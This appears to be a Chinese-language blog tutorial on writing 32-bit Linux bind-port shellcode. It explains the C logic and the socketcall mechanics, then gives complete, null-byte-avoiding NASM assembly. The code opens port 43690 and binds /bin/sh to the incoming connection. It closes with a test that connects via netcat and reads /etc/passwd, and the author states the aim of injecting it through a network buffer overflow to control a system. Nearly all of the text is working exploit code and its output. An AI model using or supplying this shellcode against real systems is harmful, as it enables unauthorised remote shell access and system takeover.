前面《如何编写本地shellcode》一文介绍如何编写shellcode取得shell进行交互。本文介绍另一个例子,绑定端口的shellcode。攻击通过网络利用缓冲区溢出漏洞,注入该shellcode,那就可以能过shellcode打开的端口进行利用。
Shellcode逻辑C代码
绑定端口shellcode的逻辑很简单:打开socket,然后绑定到端口,等待远程进行链接,链接到后将0/1/2描述符都复制该socket上,再启动一个shell。 代码如下:
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int sock, cli;
struct sockaddr_in serv_addr;
int main()
{
serv_addr.sin_family = 2;
serv_addr.sin_addr.s_addr = 0;
serv_addr.sin_port = 0xAAAA;
sock = socket(2, 1, 0);
bind(sock, (struct sockaddr *)&serv_addr, 0x10);
listen(sock, 1);
cli = accept(sock, 0, 0);
dup2(cli, 0);
dup2(cli, 1);
dup2(cli, 2);
execve("/bin/sh", 0, 0);
}
socket系统调用
上面涉及网络操作的有几个函数:socket,bind,listen和accept,其中参数最复杂的算是bind了。其实在i586下面,这几个均不是系统调用,它们背后的是sockcall这个系统调用,原型为:
int sockcall(int call, unsigned long *args)
那么上面几个函数最终如何调用sockcall的呢? 很简单,它们是通过call这个参数来识别到底是哪个函数调用,而args就一个数组,每个元素主是上面各函数的参数列表:
比如socket(2, 1, 0) 是这样调用sockcall的:
int socket(int family, int type, int protocol)
{
unsigned long array[3] = { family, type, protocol);
return sockcall(SYS_SOCKET, array); // SYS_SOCKET值为1
}
而bind函数调用也是类似的:
int bind(int fd, struct sockaddr *addr, int len)
{
unsigned long array[3] = {fd, addr, len};
return sockcall(SYS_BIND, array); // SYS_BIND值为2
}
其实函数类似,都是将参数打包成一个数组,然后传给sockcall系统调用。
开始编写Shellcode
好,我们开始编写汇编代码。由于sockcall系统调用只有2个参数,分别占用ebx和ecx,那个edx是没有使用,可以让存放0值,在需要0的地方直接使用edx.
初始化寄存器
eax, ebx, ecx在汇编代码中分别表示系统调用号、第一参数和第二参数,需要清零,同时edx需要长期保持为零。
BITS 32
xor eax, eax
xor ebx, ebx
cdq ;将edx清零
编写socket函数
socket(2, 1, 0) => sockcall(1, [2, 1, 0]) 其中2, 1, 0是数组元素,宽度为byte。因此分别将0, 1, 2压到栈上(栈向低地址生成,所以先压尾巴。
push edx
push byte 0x01
push byte 0x02
此时的栈底就是[2, 1, 0]数组的地址,为sockcall的第二参数(ecx),故直接将esp值赋给ecx:
mov ecx, esp
第二参数ebx目前值为0,需要增加1,才能变成2
inc bl
sockall系统调用号为102,需要给eax赋值,然后进行系统调用:
mov al, 102
int 0x80
系统调用返回后,它的返回值( 后面要使用文件描述符)存放在eax中,由于后面的系统调用要使用eax来存放调用号,因此需要把该sock存放到不使用的寄存器esi中:
mov esi, eax
bind系统调用
说实话,bind系统调用应该是最难写的一个了。首先看一下struct sockaddr_in serv_addr 变量地的定义:
struct sockaddr_in {
u16sin_family; // 本例赋值为0x02
u16 sin_port; // 本例赋值为0xAAAA
u32 sin_addr; // 本例赋值为全零,表示本机所有地址
unsigned char sin_zero[8]; // 要求为全零
};
先压sin_zero[8],8个字节全零:
push edx
push edx
接着是sin_addr,4个字节全零
push edx
接着是sin_port,2字节,值为0xAAAA
push 0xAAAA
最后是sin_family,2字节,值为0x0002,但不能直接push,因此这样会生成包含零字节指令。借用ebx值为1,先加1,再压到栈上:
inc bl
push bx ; 只压2字节
OK, 整个serv_addr变量压到栈上了,它的地址为 esp,先要把该地址保存出来:
mov ecx, esp
还记得bind是如何调用sockcall的吗?
sockcall(SYS_BIND, [sock, &serv_addr, 0x10])
刚才只是将serv_addr压到栈上,同时将它的地址暂时保存到ecx上,为了调用sockcall系统调用来实现bind函数,还需要将[sock, &serv_addr, 0x10] 这个数组压到栈上。记得是从尾巴压起:
push byte 0x10 ; 0x10
push ecx ; &serv_addr
push esi ; sock
压完后,esp就是数组地址,作为系统调用第二参数,应该保存到ecx中:
mov ecx, esp
第一参数SYS_BIND值为2,刚好ebx值也为2,不需要重新赋值,直接进行系统调用:
mov al, 102
int 0x80
listen系统调用
最复杂的bind办妥了,listen只不过是小菜一碟,直接上代码,加上注释:
listen(sock, 0) => sockcall(4, [sock, 0])
push edx ; 0
push esi ; sock
mov ecx, esp ;sockcall第二参数,[sock, 0]数组地址
mov bl, 0x04 ; 4, sockcall第一参数
mov al, 102
int 0x80
accept系统调用
同样也比较简单,请看注释:
cli = accept(sock, 0, 0) => cli = sockcall(5, [sock, 0, 0])
push edx ; 0
push edx ; 0
push esi ; sock
mov ecx, esp ; [sock, 0, 0]地址,为sockcall系统调用第二参数
inc bl ; 前一系统调用bl值为4,加1后为5,是系统调用第一参数
mov al, 102
int 0x80
accept返回的是客户端的fd,后面的dup2操作都是围绕它来的,需要将该返回值保存出来,在后面的dup2中,该返回值作为第一个参数,直接将它保存在ebx中:
mov ebx, eax
dup2系统调用
不用担心了,dup2是一个标准的系统调用,从它开始,就不需要构造数组做为参数了,可以松一口气了。为了减少shellcode长度,使用循环来实现3次的dup2系统调用:
; dup2(cli, 0)
; dup2(cli, 1)
; dup2(cli, 2)
xor ecx, ecx
mov cl, 3
loop:
dec cl
mov al, 63
int 0x80 ; ecx分别是:2, 1, 0,ebx为cli
jnz loop
execve系统调用
还记得之前产生字符串的技巧吗? 直接将字符串的内容压到栈上,不要忘了从尾巴压起,同时要先压零,让字符串有结束符:
; execve("/bin/sh", 0, 0)
push ecx ; dup2完后,ecx值为零,这里先压字符串结束符
push long 0x68732f6e
push long 0x69622f2f ; 这两句将"//bin/sh"字符串压到栈上
mov ebx, esp ; 字符串地址,作为系统调用第一参数,放到ebx
mov edx, ecx ; ecx值已为零,作为系统调用第二参数;同时赋给edx,系统调用第三参数
mov al, 0x0b
int 0x80
完整的编汇代码
我们将该汇编代码放到bind.s文件内:
BITS 32
xor eax, eax
xor ebx, ebx
cdq
; soc = sockcall(1, [2, 1, 0])
push edx
push byte 0x01
push byte 0x02
mov ecx, esp
inc bl
mov al, 102
int 0x80
mov esi, eax ;store the return value(soc)
; serv_addr.sin_family = 2
; serv_addr.sin_addr.s_addr = 0
; serv_addr.sin_port = 0xAAAA
; bind(sock, (struct sockaddr *)&serv_addr, 0x10)
; => sockcall(2, [sock, &serv_addr, 0x10])
push edx
push edx
push edx
push 0xAAAA
inc bl
push bx
mov ecx, esp
push byte 0x10
push ecx
push esi
mov ecx, esp
mov al, 102
int 0x80
; listen(sock, 0)
; => sockcall(4, [sock, 0])
push edx
push esi
mov ecx, esp
mov bl, 0x04
mov al, 102
int 0x80
; cli = accept(sock, 0, 0)
; => cli = sockcall(5, [sock, 0, 0])
push edx
push edx
push esi
mov ecx, esp
inc bl
mov al, 102
int 0x80
mov ebx, eax
; dup2(cli, 0)
; dup2(cli, 1)
; dup2(cli, 2)
xor ecx, ecx
mov cl, 3
loop:
dec cl
mov al, 63
int 0x80
jnz loop
; execve("/bin/sh", 0, 0)
push ecx
push long 0x68732f6e
push long 0x69622f2f
mov ebx, esp
mov edx, ecx
mov al, 0x0b
int 0x80
编译和测试
使用nasm编译器进行编译:
$ nasm -o bind bind.s
然后使用之前写的sctest32测试工具进行测试。
运行Shellcode:
$ sctest32 bind
打开一个新端终,通过网络与Shellcode打开的端口进行连接,然后获取Shellcode,通过cat /etc/passwd命令获取系统帐号信息:
$ netcat localhost 43690
cat /etc/passwd <-------------用户输入
root:x:0:0:root:/root:/bin/bash <-------------Shellcode输出
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
......
只要运行了绑定端口Shellcode,攻击者主可以通过sh来控制整个系统。
小结
这里介绍的绑定端口Shellcode没有什么新新鲜的玩意,只是i586上的socket/bind/listen/accept不是真正的系统调用,需要做转换而已。难点是serv_addr结构如何压在栈空间上。这里使用的技巧和以前是完全一样的。